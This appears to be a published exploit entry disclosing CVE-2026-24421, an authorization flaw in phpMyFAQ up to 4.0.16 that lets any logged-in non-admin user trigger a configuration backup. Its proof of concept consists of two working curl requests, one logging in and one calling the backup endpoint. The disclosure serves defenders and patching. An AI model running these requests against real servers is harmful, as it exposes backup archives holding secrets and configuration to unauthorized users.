    "sourceData": "# Exploit Title: phpMyFAQ <= 4.0.16 - Improper Authorization \r\n# Google Dork: N/A\r\n# Date: 2026-01-23\r\n# Exploit Author: GUIA BRAHIM FOUAD\r\n# Vendor Homepage: https://www.phpmyfaq.de/\r\n# Software Link: https://www.phpmyfaq.de/download/\r\n# Version: <= 4.0.16 (REQUIRED)\r\n# Tested on: Ubuntu 22.04, Apache 2.4.52, PHP 8.2.x, MariaDB 10.6.x\r\n# CVE: CVE-2026-24421\r\n\r\n## Summary\r\nAuthenticated non-admin users can call /api/setup/backup and trigger a configuration backup. The endpoint checks authentication but does not enforce authorization (missing configuration/admin permission check), and returns a link/path to the generated ZIP.\r\n\r\n## Details\r\nSetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. This allows any logged-in user to create a sensitive backup and retrieve its path.\r\n\r\n## PoC\r\nPrecondition: API enabled, any authenticated non-admin user.\r\n\r\n1) Log in as a non-admin user:\r\ncurl -c /tmp/pmf_api_cookies.txt \\\r\n  -H 'Content-Type: application/json' \\\r\n  -d '{\"username\":\"tester\",\"password\":\"Test1234!\"}' \\\r\n  http://192.168.40.16/phpmyfaq/api/v3.0/login\r\n\r\n2) Trigger backup generation:\r\ncurl -i -b /tmp/pmf_api_cookies.txt \\\r\n  -X POST --data '4.0.16' \\\r\n  http://192.168.40.16/phpmyfaq/api/setup/backup\r\n\r\n## Expected Result\r\nThe API responds successfully and includes a link/path to the generated ZIP backup even though the caller is not an admin / does not have configuration-edit permissions.\r\n\r\n## Impact\r\nLow-privileged users can generate sensitive backups. If the ZIP is web-accessible (server misconfiguration), this can lead to exposure of secrets/configuration and facilitate follow-on compromise.\r\n\r\n## References\r\n- GitHub Advisory: GHSA-wm8h-26fv-mg7g",
